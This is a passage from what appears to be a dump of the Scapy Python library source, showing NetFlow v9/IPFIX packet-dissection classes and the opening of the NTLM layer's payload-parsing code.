NTOP_BASE: _N910F(\"DIAMETER_REQ_MSG_TYPE\"),\n    400 + NTOP_BASE: _N910F(\"DIAMETER_RSP_MSG_TYPE\"),\n    401 + NTOP_BASE: _N910F(\"DIAMETER_REQ_ORIGIN_HOST\"),\n    402 + NTOP_BASE: _N910F(\"DIAMETER_RSP_ORIGIN_HOST\"),\n    403 + NTOP_BASE: _N910F(\"DIAMETER_REQ_USER_NAME\"),\n    404 + NTOP_BASE: _N910F(\"DIAMETER_RSP_RESULT_CODE\"),\n    405 + NTOP_BASE: _N910F(\"DIAMETER_EXP_RES_VENDOR_ID\"),\n    406 + NTOP_BASE: _N910F(\"DIAMETER_EXP_RES_RESULT_CODE\"),\n    407 + NTOP_BASE: _N910F(\"S1AP_ENB_UE_S1AP_ID\"),\n    408 + NTOP_BASE: _N910F(\"S1AP_MME_UE_S1AP_ID\"),\n    409 + NTOP_BASE: _N910F(\"S1AP_MSG_EMM_TYPE_MME_TO_ENB\"),\n    410 + NTOP_BASE: _N910F(\"S1AP_MSG_ESM_TYPE_MME_TO_ENB\"),\n    411 + NTOP_BASE: _N910F(\"S1AP_MSG_EMM_TYPE_ENB_TO_MME\"),\n    412 + NTOP_BASE: _N910F(\"S1AP_MSG_ESM_TYPE_ENB_TO_MME\"),\n    413 + NTOP_BASE: _N910F(\"S1AP_CAUSE_ENB_TO_MME\"),\n    414 + NTOP_BASE: _N910F(\"S1AP_DETAILED_CAUSE_ENB_TO_MME\"),\n    415 + NTOP_BASE: _N910F(\"TCP_WIN_MIN_IN\"),\n    416 + NTOP_BASE: _N910F(\"TCP_WIN_MAX_IN\"),\n    417 + NTOP_BASE: _N910F(\"TCP_WIN_MSS_IN\"),\n    418 + NTOP_BASE: _N910F(\"TCP_WIN_SCALE_IN\"),\n    419 + NTOP_BASE: _N910F(\"TCP_WIN_MIN_OUT\"),\n    420 + NTOP_BASE: _N910F(\"TCP_WIN_MAX_OUT\"),\n    421 + NTOP_BASE: _N910F(\"TCP_WIN_MSS_OUT\"),\n    422 + NTOP_BASE: _N910F(\"TCP_WIN_SCALE_OUT\"),\n    423 + NTOP_BASE: _N910F(\"DHCP_REMOTE_ID\"),\n    424 + NTOP_BASE: _N910F(\"DHCP_SUBSCRIBER_ID\"),\n    425 + NTOP_BASE: _N910F(\"SRC_PROC_UID\"),\n    426 + NTOP_BASE: _N910F(\"DST_PROC_UID\"),\n    427 + NTOP_BASE: _N910F(\"APPLICATION_NAME\"),\n    428 + NTOP_BASE: _N910F(\"USER_NAME\"),\n    429 + NTOP_BASE: _N910F(\"DHCP_MESSAGE_TYPE\"),\n    430 + NTOP_BASE: _N910F(\"RTP_IN_PKT_DROP\"),\n    431 + NTOP_BASE: _N910F(\"RTP_OUT_PKT_DROP\"),\n    432 + NTOP_BASE: _N910F(\"RTP_OUT_MOS\"),\n    433 + NTOP_BASE: _N910F(\"RTP_OUT_R_FACTOR\"),\n    434 + NTOP_BASE: _N910F(\"RTP_MOS\"),\n    435 + NTOP_BASE: _N910F(\"GTPV2_S5_S8_GTPC_TEID\"),\n    436 + NTOP_BASE: _N910F(\"RTP_R_FACTOR\"),\n    437 + NTOP_BASE: _N910F(\"RTP_SSRC\"),\n    438 + NTOP_BASE: _N910F(\"PAYLOAD_HASH\"),\n    439 + NTOP_BASE: _N910F(\"GTPV2_C2S_S5_S8_GTPU_TEID\"),\n    440 + NTOP_BASE: _N910F(\"GTPV2_S2C_S5_S8_GTPU_TEID\"),\n    441 + NTOP_BASE: _N910F(\"GTPV2_C2S_S5_S8_GTPU_IP\"),\n    442 + NTOP_BASE: _N910F(\"GTPV2_S2C_S5_S8_GTPU_IP\"),\n    443 + NTOP_BASE: _N910F(\"SRC_AS_MAP\"),\n    444 + NTOP_BASE: _N910F(\"DST_AS_MAP\"),\n    445 + NTOP_BASE: _N910F(\"DIAMETER_HOP_BY_HOP_ID\"),\n    446 + NTOP_BASE: _N910F(\"UPSTREAM_SESSION_ID\"),\n    447 + NTOP_BASE: _N910F(\"DOWNSTREAM_SESSION_ID\"),\n    448 + NTOP_BASE: _N910F(\"SRC_IP_LONG\"),\n    449 + NTOP_BASE: _N910F(\"SRC_IP_LAT\"),\n    450 + NTOP_BASE: _N910F(\"DST_IP_LONG\"),\n    451 + NTOP_BASE: _N910F(\"DST_IP_LAT\"),\n    452 + NTOP_BASE: _N910F(\"DIAMETER_CLR_CANCEL_TYPE\"),\n    453 + NTOP_BASE: _N910F(\"DIAMETER_CLR_FLAGS\"),\n    454 + NTOP_BASE: _N910F(\"GTPV2_C2S_S5_S8_GTPC_IP\"),\n    455 + NTOP_BASE: _N910F(\"GTPV2_S2C_S5_S8_GTPC_IP\"),\n    456 + NTOP_BASE: _N910F(\"GTPV2_C2S_S5_S8_SGW_GTPU_TEID\"),\n    457 + NTOP_BASE: _N910F(\"GTPV2_S2C_S5_S8_SGW_GTPU_TEID\"),\n    458 + NTOP_BASE: _N910F(\"GTPV2_C2S_S5_S8_SGW_GTPU_IP\"),\n    459 + NTOP_BASE: _N910F(\"GTPV2_S2C_S5_S8_SGW_GTPU_IP\"),\n    460 + NTOP_BASE: _N910F(\"HTTP_X_FORWARDED_FOR\"),\n    461 + NTOP_BASE: _N910F(\"HTTP_VIA\"),\n    462 + NTOP_BASE: _N910F(\"SSDP_HOST\"),\n    463 + NTOP_BASE: _N910F(\"SSDP_USN\"),\n    464 + NTOP_BASE: _N910F(\"NETBIOS_QUERY_NAME\"),\n    465 + NTOP_BASE: _N910F(\"NETBIOS_QUERY_TYPE\"),\n    466 + NTOP_BASE: _N910F(\"NETBIOS_RESPONSE\"),\n    467 + NTOP_BASE: _N910F(\"NETBIOS_QUERY_OS\"),\n    468 + NTOP_BASE: _N910F(\"SSDP_SERVER\"),\n    469 + NTOP_BASE: _N910F(\"SSDP_TYPE\"),\n    470 + NTOP_BASE: _N910F(\"SSDP_METHOD\"),\n    471 + NTOP_BASE: _N910F(\"NPROBE_IPV4_ADDRESS\", length=4,\n                            field=IPField),\n}\nNetflowV910TemplateFieldTypes = {\n    k: v.name for k, v in NetflowV910TemplateFields.items()\n}\n\nScopeFieldTypes = {\n    1: \"System\",\n    2: \"Interface\",\n    3: \"Line card\",\n    4: \"Cache\",\n    5: \"Template\",\n}\n\n\nclass NetflowHeaderV9(Packet):\n    name = \"Netflow Header V9\"\n    fields_desc = [ShortField(\"count\", None),\n                   IntField(\"sysUptime\", 0),\n                   UTCTimeField(\"unixSecs\", None),\n                   IntField(\"packageSequence\", 0),\n                   IntField(\"SourceID\", 0)]\n\n    def post_build(self, pkt, pay):\n\n        def count_by_layer(layer):\n            if type(layer) == NetflowFlowsetV9:\n                return len(layer.templates)\n            elif type(layer) == NetflowDataflowsetV9:\n                return len(layer.records)\n            elif type(layer) == NetflowOptionsFlowsetV9:\n                return 1\n            else:\n                return 0\n\n        if self.count is None:\n            # https://www.rfc-editor.org/rfc/rfc3954#section-5.1\n            count = sum(\n                sum(count_by_layer(self.getlayer(layer_cls, nth))\n                    for nth in range(1, n + 1))\n                for layer_cls, n in Counter(self.layers()).items()\n            )\n            pkt = struct.pack(\"!H\", count) + pkt[2:]\n        return pkt + pay\n\n\n# https://tools.ietf.org/html/rfc5655#appendix-B.1.1\nclass NetflowHeaderV10(Packet):\n    \"\"\"IPFix (Netflow V10) Header\"\"\"\n    name = \"IPFix (Netflow V10) Header\"\n    fields_desc = [ShortField(\"length\", None),\n                   UTCTimeField(\"ExportTime\", 0),\n                   IntField(\"flowSequence\", 0),\n                   IntField(\"ObservationDomainID\", 0)]\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            length = len(pkt) + len(pay)\n            pkt = struct.pack(\"!H\", length) + pkt[2:]\n        return pkt + pay\n\n\nclass NetflowTemplateFieldV9(Packet):\n    name = \"Netflow Flowset Template Field V9/10\"\n    fields_desc = [BitField(\"enterpriseBit\", 0, 1),\n                   BitEnumField(\"fieldType\", None, 15,\n                                NetflowV910TemplateFieldTypes),\n                   ShortField(\"fieldLength\", None),\n                   ConditionalField(IntField(\"enterpriseNumber\", 0),\n                                    lambda p: p.enterpriseBit)]\n\n    def __init__(self, *args, **kwargs):\n        Packet.__init__(self, *args, **kwargs)\n        if (self.fieldType is not None and\n                self.fieldLength is None and\n                self.fieldType in NetflowV910TemplateFields):\n            self.fieldLength = NetflowV910TemplateFields[\n                self.fieldType\n            ].length or None\n\n    def default_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass NetflowTemplateV9(Packet):\n    name = \"Netflow Flowset Template V9/10\"\n    fields_desc = [ShortField(\"templateID\", 255),\n                   FieldLenField(\"fieldCount\", None, count_of=\"template_fields\"),  # noqa: E501\n                   PacketListField(\"template_fields\", [], NetflowTemplateFieldV9,  # noqa: E501\n                                   count_from=lambda pkt: pkt.fieldCount)]\n\n    def default_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass NetflowFlowsetV9(Packet):\n    name = \"Netflow FlowSet V9/10\"\n    fields_desc = [ShortField(\"flowSetID\", 0),\n                   FieldLenField(\"length\", None, length_of=\"templates\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PacketListField(\"templates\", [], NetflowTemplateV9,\n                                   length_from=lambda pkt: pkt.length - 4)]\n\n\nclass _CustomStrFixedLenField(StrFixedLenField):\n    def i2repr(self, pkt, v):\n        return repr(v)\n\n\ndef _GenNetflowRecordV9(cls, lengths_list):\n    \"\"\"\n    Internal function used to generate the Records from\n    their template.\n    \"\"\"\n    _fields_desc = []\n    for j, k in lengths_list:\n        # For each field, if it's known in our template list,\n        # try to make a nice field for it. Otherwise use an integer\n        # or a string default.\n        _f_type = None\n        _f_kwargs = {}\n        _f_isint = False\n        if k in NetflowV910TemplateFields:\n            _f = NetflowV910TemplateFields[k]\n            _f_type = _f.field\n            _f_kwargs = _f.kwargs\n            _f_isint = _f.isint\n\n        if _f_type:\n            if issubclass(_f_type, _AdjustableNetflowField):\n                _f_kwargs[\"length\"] = j\n            _fields_desc.append(\n                _f_type(\n                    NetflowV910TemplateFieldTypes.get(k, \"unknown_data\"),\n                    0, **_f_kwargs\n                )\n            )\n        elif _f_isint:\n            _fields_desc.append(\n                NBytesField(\n                    NetflowV910TemplateFieldTypes.get(k, \"unknown_data\"),\n                    0, sz=j\n                )\n            )\n        else:\n            _fields_desc.append(\n                _CustomStrFixedLenField(\n                    NetflowV910TemplateFieldTypes.get(k, \"unknown_data\"),\n                    b\"\", length=j\n                )\n            )\n\n    # This will act exactly like a NetflowRecordV9, but has custom fields\n    class NetflowRecordV9I(cls):\n        fields_desc = _fields_desc\n        match_subclass = True\n    NetflowRecordV9I.name = cls.name\n    NetflowRecordV9I.__name__ = cls.__name__\n    return NetflowRecordV9I\n\n\ndef GetNetflowRecordV9(flowset, templateID=None):\n    \"\"\"\n    Get a NetflowRecordV9/10 for a specific NetflowFlowsetV9/10.\n\n    Have a look at the online doc for examples.\n    \"\"\"\n    definitions = {}\n    for ntv9 in flowset.templates:\n        llist = []\n        for tmpl in ntv9.template_fields:\n            llist.append((tmpl.fieldLength, tmpl.fieldType))\n        if llist:\n            cls = _GenNetflowRecordV9(NetflowRecordV9, llist)\n            definitions[ntv9.templateID] = cls\n    if not definitions:\n        raise Scapy_Exception(\n            \"No template IDs detected\"\n        )\n    if len(definitions) > 1:\n        if templateID is None:\n            raise Scapy_Exception(\n                \"Multiple possible templates ! Specify templateID=..\"\n            )\n        return definitions[templateID]\n    else:\n        return list(definitions.values())[0]\n\n\nclass NetflowRecordV9(Packet):\n    name = \"Netflow DataFlowset Record V9/10\"\n    fields_desc = [StrField(\"fieldValue\", \"\")]\n\n    def default_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass NetflowDataflowsetV9(Packet):\n    name = \"Netflow DataFlowSet V9/10\"\n    fields_desc = [ShortField(\"templateID\", 255),\n                   ShortField(\"length\", None),\n                   PacketListField(\n                       \"records\", [],\n                       NetflowRecordV9,\n                       length_from=lambda pkt: pkt.length - 4)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            # https://tools.ietf.org/html/rfc5655#appendix-B.1.2\n            # NetflowV9\n            if _pkt[:2] == b\"\\x00\\x00\":\n                return NetflowFlowsetV9\n            if _pkt[:2] == b\"\\x00\\x01\":\n                return NetflowOptionsFlowsetV9\n            # IPFix\n            if _pkt[:2] == b\"\\x00\\x02\":\n                return NetflowFlowsetV9\n            if _pkt[:2] == b\"\\x00\\x03\":\n                return NetflowOptionsFlowset10\n        return cls\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            # Padding is optional, let's apply it on build\n            length = len(pkt)\n            pad = (-length) % 4\n            pkt = pkt[:2] + struct.pack(\"!H\", length + pad) + pkt[4:]\n            pkt += b\"\\x00\" * pad\n        return pkt + pay\n\n\ndef _netflowv9_defragment_packet(pkt, definitions, definitions_opts, ignored):\n    \"\"\"Used internally to process a single packet during defragmenting\"\"\"\n    # Dataflowset definitions\n    if NetflowFlowsetV9 in pkt:\n        current = pkt\n        while NetflowFlowsetV9 in current:\n            current = current[NetflowFlowsetV9]\n            for ntv9 in current.templates:\n                llist = []\n                for tmpl in ntv9.template_fields:\n                    llist.append((tmpl.fieldLength, tmpl.fieldType))\n                if llist:\n                    tot_len = sum(x[0] for x in llist)\n                    cls = _GenNetflowRecordV9(NetflowRecordV9, llist)\n                    definitions[ntv9.templateID] = (tot_len, cls)\n            current = current.payload\n    # Options definitions\n    if NetflowOptionsFlowsetV9 in pkt:\n        current = pkt\n        while NetflowOptionsFlowsetV9 in current:\n            current = current[NetflowOptionsFlowsetV9]\n            # Load scopes\n            llist = []\n            for scope in current.scopes:\n                llist.append((\n                    scope.scopeFieldlength,\n                    scope.scopeFieldType\n                ))\n            scope_tot_len = sum(x[0] for x in llist)\n            scope_cls = _GenNetflowRecordV9(\n                NetflowOptionsRecordScopeV9,\n                llist\n            )\n            # Load options\n            llist = []\n            for opt in current.options:\n                llist.append((\n                    opt.optionFieldlength,\n                    opt.optionFieldType\n                ))\n            option_tot_len = sum(x[0] for x in llist)\n            option_cls = _GenNetflowRecordV9(\n                NetflowOptionsRecordOptionV9,\n                llist\n            )\n            # Storage\n            definitions_opts[current.templateID] = (\n                scope_tot_len, scope_cls,\n                option_tot_len, option_cls\n            )\n            current = current.payload\n    # Dissect flowsets\n    if NetflowDataflowsetV9 in pkt:\n        current = pkt\n        while NetflowDataflowsetV9 in current:\n            datafl = current[NetflowDataflowsetV9]\n            tid = datafl.templateID\n            if tid not in definitions and tid not in definitions_opts:\n                ignored.add(tid)\n                return\n            # All data is stored in one record, awaiting to be split\n            # If fieldValue is available, the record has not been\n            # defragmented: pop it\n            try:\n                data = datafl.records[0].fieldValue\n                datafl.records.pop(0)\n            except (IndexError, AttributeError):\n                return\n            res = []\n            # Flowset record\n            # Now, according to the flow/option data,\n            # let's re-dissect NetflowDataflowsetV9\n            if tid in definitions:\n                tot_len, cls = definitions[tid]\n                while len(data) >= tot_len:\n                    res.append(cls(data[:tot_len]))\n                    data = data[tot_len:]\n                # Inject dissected data\n                datafl.records = res\n                if data:\n                    if len(data) <= 4:\n                        datafl.add_payload(conf.padding_layer(data))\n                    else:\n                        datafl.do_dissect_payload(data)\n            # Options\n            elif tid in definitions_opts:\n                (scope_len, scope_cls,\n                    option_len, option_cls) = definitions_opts[tid]\n                # Dissect scopes\n                if scope_len:\n                    res.append(scope_cls(data[:scope_len]))\n                if option_len:\n                    res.append(\n                        option_cls(data[scope_len:scope_len + option_len])\n                    )\n                if len(data) > scope_len + option_len:\n                    res.append(\n                        conf.padding_layer(data[scope_len + option_len:])\n                    )\n                # Inject dissected data\n                datafl.records = res\n                datafl.name = \"Netflow DataFlowSet V9/10 - OPTIONS\"\n            current = datafl.payload\n\n\ndef netflowv9_defragment(plist, verb=1):\n    \"\"\"Process all NetflowV9/10 Packets to match IDs of the DataFlowsets\n    with the Headers\n\n    params:\n     - plist: the list of mixed NetflowV9/10 packets.\n     - verb: verbose print (0/1)\n    \"\"\"\n    if not isinstance(plist, (PacketList, list)):\n        plist = [plist]\n    # We need the whole packet to be dissected to access field def in\n    # NetflowFlowsetV9 or NetflowOptionsFlowsetV9/10\n    definitions = {}\n    definitions_opts = {}\n    ignored = set()\n    # Iterate through initial list\n    for pkt in plist:\n        _netflowv9_defragment_packet(pkt,\n                                     definitions,\n                                     definitions_opts,\n                                     ignored)\n    if conf.verb >= 1 and ignored:\n        warning(\"Ignored templateIDs (missing): %s\" % list(ignored))\n    return plist\n\n\ndef ipfix_defragment(*args, **kwargs):\n    \"\"\"Alias for netflowv9_defragment\"\"\"\n    return netflowv9_defragment(*args, **kwargs)\n\n\nclass NetflowSession(IPSession):\n    \"\"\"Session used to defragment NetflowV9/10 packets on the flow.\n    See help(scapy.layers.netflow) for more infos.\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        self.definitions = {}\n        self.definitions_opts = {}\n        self.ignored = set()\n        super(NetflowSession, self).__init__(*args, **kwargs)\n\n    def process(self, pkt: Packet) -> Optional[Packet]:\n        pkt = super(NetflowSession, self).process(pkt)\n        if not pkt:\n            return\n        _netflowv9_defragment_packet(pkt,\n                                     self.definitions,\n                                     self.definitions_opts,\n                                     self.ignored)\n        return pkt\n\n\nclass NetflowOptionsRecordScopeV9(NetflowRecordV9):\n    name = \"Netflow Options Template Record V9/10 - Scope\"\n\n\nclass NetflowOptionsRecordOptionV9(NetflowRecordV9):\n    name = \"Netflow Options Template Record V9/10 - Option\"\n\n\n# Aka Set\nclass NetflowOptionsFlowsetOptionV9(Packet):\n    name = \"Netflow Options Template FlowSet V9/10 - Option\"\n    fields_desc = [BitField(\"enterpriseBit\", 0, 1),\n                   BitEnumField(\"optionFieldType\", None, 15,\n                                NetflowV910TemplateFieldTypes),\n                   ShortField(\"optionFieldlength\", 0),\n                   ConditionalField(ShortField(\"enterpriseNumber\", 0),\n                                    lambda p: p.enterpriseBit)]\n\n    def default_payload_class(self, p):\n        return conf.padding_layer\n\n\n# Aka Set\nclass NetflowOptionsFlowsetScopeV9(Packet):\n    name = \"Netflow Options Template FlowSet V9/10 - Scope\"\n    fields_desc = [ShortEnumField(\"scopeFieldType\", None, ScopeFieldTypes),\n                   ShortField(\"scopeFieldlength\", 0)]\n\n    def default_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass NetflowOptionsFlowsetV9(Packet):\n    name = \"Netflow Options Template FlowSet V9\"\n    fields_desc = [ShortField(\"flowSetID\", 1),\n                   ShortField(\"length\", None),\n                   ShortField(\"templateID\", 255),\n                   FieldLenField(\"option_scope_length\", None,\n                                 length_of=\"scopes\"),\n                   FieldLenField(\"option_field_length\", None,\n                                 length_of=\"options\"),\n                   # We can't use PadField as we have 2 PacketListField\n                   PacketListField(\n                       \"scopes\", [],\n                       NetflowOptionsFlowsetScopeV9,\n                       length_from=lambda pkt: pkt.option_scope_length),\n                   PacketListField(\n                       \"options\", [],\n                       NetflowOptionsFlowsetOptionV9,\n                       length_from=lambda pkt: pkt.option_field_length),\n                   StrLenField(\"pad\", None, length_from=lambda pkt: (\n                       pkt.length - pkt.option_scope_length -\n                       pkt.option_field_length - 10))]\n\n    def default_payload_class(self, p):\n        return conf.padding_layer\n\n    def post_build(self, pkt, pay):\n        if self.pad is None:\n            # Padding 4-bytes with b\"\\x00\"\n            start = 10 + self.option_scope_length + self.option_field_length\n            pkt = pkt[:start] + (-len(pkt) % 4) * b\"\\x00\"\n        if self.length is None:\n            pkt = pkt[:2] + struct.pack(\"!H\", len(pkt)) + pkt[4:]\n        return pkt + pay\n\n\n# https://tools.ietf.org/html/rfc5101#section-3.4.2.2\nclass NetflowOptionsFlowset10(NetflowOptionsFlowsetV9):\n    \"\"\"Netflow V10 (IPFix) Options Template FlowSet\"\"\"\n    name = \"Netflow V10 (IPFix) Options Template FlowSet\"\n    fields_desc = [ShortField(\"flowSetID\", 3),\n                   ShortField(\"length\", None),\n                   ShortField(\"templateID\", 255),\n                   # Slightly different counting than in its NetflowV9\n                   # counterpart: we count the total, and among them which\n                   # ones are scopes. Also, it's count, not length\n                   FieldLenField(\"field_count\", None,\n                                 count_of=\"options\",\n                                 adjust=lambda pkt, x: (\n                                     x + pkt.get_field(\n                                         \"scope_field_count\").i2m(pkt, None))),\n                   FieldLenField(\"scope_field_count\", None,\n                                 count_of=\"scopes\"),\n                   # We can't use PadField as we have 2 PacketListField\n                   PacketListField(\n                       \"scopes\", [],\n                       NetflowOptionsFlowsetScopeV9,\n                       count_from=lambda pkt: pkt.scope_field_count),\n                   PacketListField(\n                       \"options\", [],\n                       NetflowOptionsFlowsetOptionV9,\n                       count_from=lambda pkt: (\n                           pkt.field_count - pkt.scope_field_count\n                       )),\n                   StrLenField(\"pad\", None, length_from=lambda pkt: (\n                       pkt.length - (pkt.scope_field_count * 4) - 10))]\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            pkt = pkt[:2] + struct.pack(\"!H\", len(pkt)) + pkt[4:]\n        if self.pad is None:\n            # Padding 4-bytes with b\"\\x00\"\n            start = 10 + self.scope_field_count * 4\n            pkt = pkt[:start] + (-len(pkt) % 4) * b\"\\x00\"\n        return pkt + pay\n\n\nbind_layers(NetflowHeader, NetflowHeaderV9, version=9)\nbind_layers(NetflowHeaderV9, NetflowDataflowsetV9)\nbind_layers(NetflowDataflowsetV9, NetflowDataflowsetV9)\nbind_layers(NetflowOptionsFlowsetV9, NetflowDataflowsetV9)\nbind_layers(NetflowFlowsetV9, NetflowDataflowsetV9)\n\n# Apart from the first header, IPFix and NetflowV9 have the same format\n# (except the Options Template)\n# https://tools.ietf.org/html/rfc5655#appendix-B.1.2\nbind_layers(NetflowHeader, NetflowHeaderV10, version=10)\nbind_layers(NetflowHeaderV10, NetflowDataflowsetV9)\n"
  },
  {
    "path": "scapy/layers/ntlm.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nNTLM\n\nThis is documented in [MS-NLMP]\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `GSSAPI <https://scapy.readthedocs.io/en/latest/layers/gssapi.html#ntlm>`_\n\"\"\"\n\nimport copy\nimport time\nimport os\nimport struct\n\nfrom enum import IntEnum\n\nfrom scapy.asn1.asn1 import ASN1_Codecs\nfrom scapy.asn1.mib import conf  # loads conf.mib\nfrom scapy.asn1fields import (\n    ASN1F_OID,\n    ASN1F_PRINTABLE_STRING,\n    ASN1F_SEQUENCE,\n    ASN1F_SEQUENCE_OF,\n)\nfrom scapy.asn1packet import ASN1_Packet\nfrom scapy.compat import bytes_base64\nfrom scapy.error import log_runtime\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    Field,\n    FieldLenField,\n    FlagsField,\n    LEIntEnumField,\n    LEIntField,\n    LEShortEnumField,\n    LEShortField,\n    LEThreeBytesField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    StrField,\n    StrFieldUtf16,\n    StrFixedLenField,\n    StrLenFieldUtf16,\n    UTCTimeField,\n    XStrField,\n    XStrFixedLenField,\n    XStrLenField,\n    _StrField,\n)\nfrom scapy.packet import Packet\nfrom scapy.sessions import StringBuffer\n\nfrom scapy.layers.gssapi import (\n    _GSSAPI_OIDS,\n    _GSSAPI_SIGNATURE_OIDS,\n    GSS_C_FLAGS,\n    GSS_C_NO_CHANNEL_BINDINGS,\n    GSS_S_BAD_BINDINGS,\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_S_DEFECTIVE_CREDENTIAL,\n    GSS_S_DEFECTIVE_TOKEN,\n    GSS_S_FLAGS,\n    GssChannelBindings,\n    SSP,\n)\n\n# Typing imports\nfrom typing import (\n    Any,\n    Callable,\n    List,\n    Optional,\n    Tuple,\n    Union,\n)\n\n# Crypto imports\n\nfrom scapy.layers.tls.crypto.hash import Hash_MD4, Hash_MD5\nfrom scapy.layers.tls.crypto.h_mac import Hmac_MD5\n\n##########\n# Fields #\n##########\n\n\n# NTLM structures are all in all very complicated. Many fields don't have a fixed\n# position, but are rather referred to with an offset (from the beginning of the\n# structure) and a length. In addition to that, there are variants of the structure\n# with missing fields when running old versions of Windows (sometimes also seen when\n# talking to products that reimplement NTLM, most notably backup applications).\n\n# We add `_NTLMPayloadField` and `_NTLMPayloadPacket` to parse fields that use an\n# offset, and `_NTLM_post_build` to be able to rebuild those offsets.\n# In addition, the `NTLM_VARIANT*` allows to select what flavor of NTLM to use\n# (NT, XP, or Recent). But in real world use only Recent should be used.\n\n\nclass _NTLMPayloadField(_StrField[List[Tuple[str, Any]]]):\n    \"\"\"Special field used to dissect NTLM payloads.\n    This isn't trivial because the offsets are variable.\"\"\"\n\n    __slots__ = [\n        \"fields\",\n        \"fields_map\",\n        \"offset\",\n        \"length_from\",\n        \"force_order\",\n        \"offset_name\",\n    ]\n    islist = True\n\n    def __init__(\n        self,\n        name,  # type: str\n        offset,  # type: Union[int, Callable[[Packet], int]]\n        fields,  # type: List[Field[Any, Any]]\n        length_from=None,  # type: Optional[Callable[[Packet], int]]\n        force_order=None,  # type: Optional[List[str]]\n        offset_name=\"BufferOffset\",  # type: str\n    ):\n        # type: (...) -> None\n        self.offset = offset\n        self.fields = fields\n        self.fields_map = {field.name: field for field in fields}\n        self.length_from = length_from\n        self.force_order = force_order  # whether the order of fields is fixed\n        self.offset_name = offset_name\n        super(_NTLMPayloadField, self).__init__(\n            name,\n            [\n                (field.name, field.default)\n                for field in fields\n                if field.default is not None\n            ],\n        )\n\n    def _on_payload(self, pkt, x, func):\n        # type: (Optional[Packet], bytes, str) -> List[Tuple[str, Any]]\n        if not pkt or not x:\n            return []\n        results = []\n        for field_name, value in x:\n            if field_name not in self.fields_map:\n                continue\n            if not isinstance(\n                self.fields_map[field_name], PacketListField\n            ) and not isinstance(value, Packet):\n                value = getattr(self.fields_map[field_name], func)(pkt, value)\n            results.append((field_name, value))\n        return results\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> List[Tuple[str, str]]\n        return self._on_payload(pkt, x, \"i2h\")\n\n    def h2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> List[Tuple[str, str]]\n        return self._on_payload(pkt, x, \"h2i\")\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        return repr(self._on_payload(pkt, x, \"i2repr\"))\n\n    def _o_pkt(self, pkt):\n        # type: (Optional[Packet]) -> int\n        if callable(self.offset):\n            return self.offset(pkt)\n        return self.offset\n\n    def addfield(self, pkt, s, val):\n        # type: (Optional[Packet], bytes, Optional[List[Tuple[str, str]]]) -> bytes\n        # Create string buffer\n        buf = StringBuffer()\n        buf.append(s, 1)\n        # Calc relative offset\n        r_off = self._o_pkt(pkt) - len(s)\n        if self.force_order:\n            val.sort(key=lambda x: self.force_order.index(x[0]))\n        for field_name, value in val:\n            if field_name not in self.fields_map:\n                continue\n            field = self.fields_map[field_name]\n            offset = pkt.getfieldval(field_name + self.offset_name)\n            if offset is None:\n                # No offset specified: calc\n                offset = len(buf)\n            else:\n                # Calc relative offset\n                offset -= r_off\n                pad = offset + 1 - len(buf)\n                # Add padding if necessary\n                if pad > 0:\n                    buf.append(pad * b\"\\x00\", len(buf))\n            buf.append(field.addfield(pkt, bytes(buf), value)[len(buf) :], offset + 1)\n        return bytes(buf)\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, List[Tuple[str, str]]]\n        if self.length_from is None:\n            ret, remain = b\"\", s\n        else:\n            len_pkt = self.length_from(pkt)\n            ret, remain = s[len_pkt:], s[:len_pkt]\n        if not pkt or not remain:\n            return s, []\n        results = []\n        max_offset = 0\n        o_pkt = self._o_pkt(pkt)\n        offsets = [\n            pkt.getfieldval(x.name + self.offset_name) - o_pkt for x in self.fields\n        ]\n        for i, field in enumerate(self.fields):\n            offset = offsets[i]\n            try:\n                length = pkt.getfieldval(field.name + \"Len\")\n            except AttributeError:\n                length = len(remain) - offset\n                # length can't be greater than the difference with the next offset\n                try:\n                    length = min(length, min(x - offset for x in offsets if x > offset))\n                except ValueError:\n                    pass\n            if offset < 0:\n                continue\n            max_offset = max(offset + length, max_offset)\n            if remain[offset : offset + length]:\n                results.append(\n                    (\n                        offset,\n                        field.name,\n                        field.getfield(pkt, remain[offset : offset + length])[1],\n                    )\n                )\n        ret += remain[max_offset:]\n        results.sort(key=lambda x: x[0])\n        return ret, [x[1:] for x in results]\n\n\nclass _NTLMPayloadPacket(Packet):\n    _NTLM_PAYLOAD_FIELD_NAME = \"Payload\"\n\n    def __init__(\n        self,\n        _pkt=b\"\",  # type: Union[bytes, bytearray]\n        post_transform=None,  # type: Any\n        _internal=0,  # type: int\n        _underlayer=None,  # type: Optional[Packet]\n        _parent=None,  # type: Optional[Packet]\n        **fields,  # type: Any\n    ):\n        # pop unknown fields. We can't process them until the packet is initialized\n        unknown = {\n            k: fields.pop(k)\n            for k in list(fields)\n            if not any(k == f.name for f in self.fields_desc)\n        }\n        super(_NTLMPayloadPacket, self).__init__(\n            _pkt=_pkt,\n            post_transform=post_transform,\n            _internal=_internal,\n            _underlayer=_underlayer,\n            _parent=_parent,\n            **fields,\n        )\n        # check unknown fields for implicit ones\n        local_fields = next(\n            [y.name for y in x.fields]\n            for x in self.fields_desc\n            if x.name == self._NTLM_PAYLOAD_FIELD_NAME\n        )\n        implicit_fields = {k: v for k, v in unknown.items() if k in local_fields}\n        for k, value in implicit_fields.items():\n            self.setfieldval(k, value)\n\n    def getfieldval(self, attr):\n        # Ease compatibility with _NTLMPayloadField\n        try:\n            return super(_NTLMPayloadPacket, 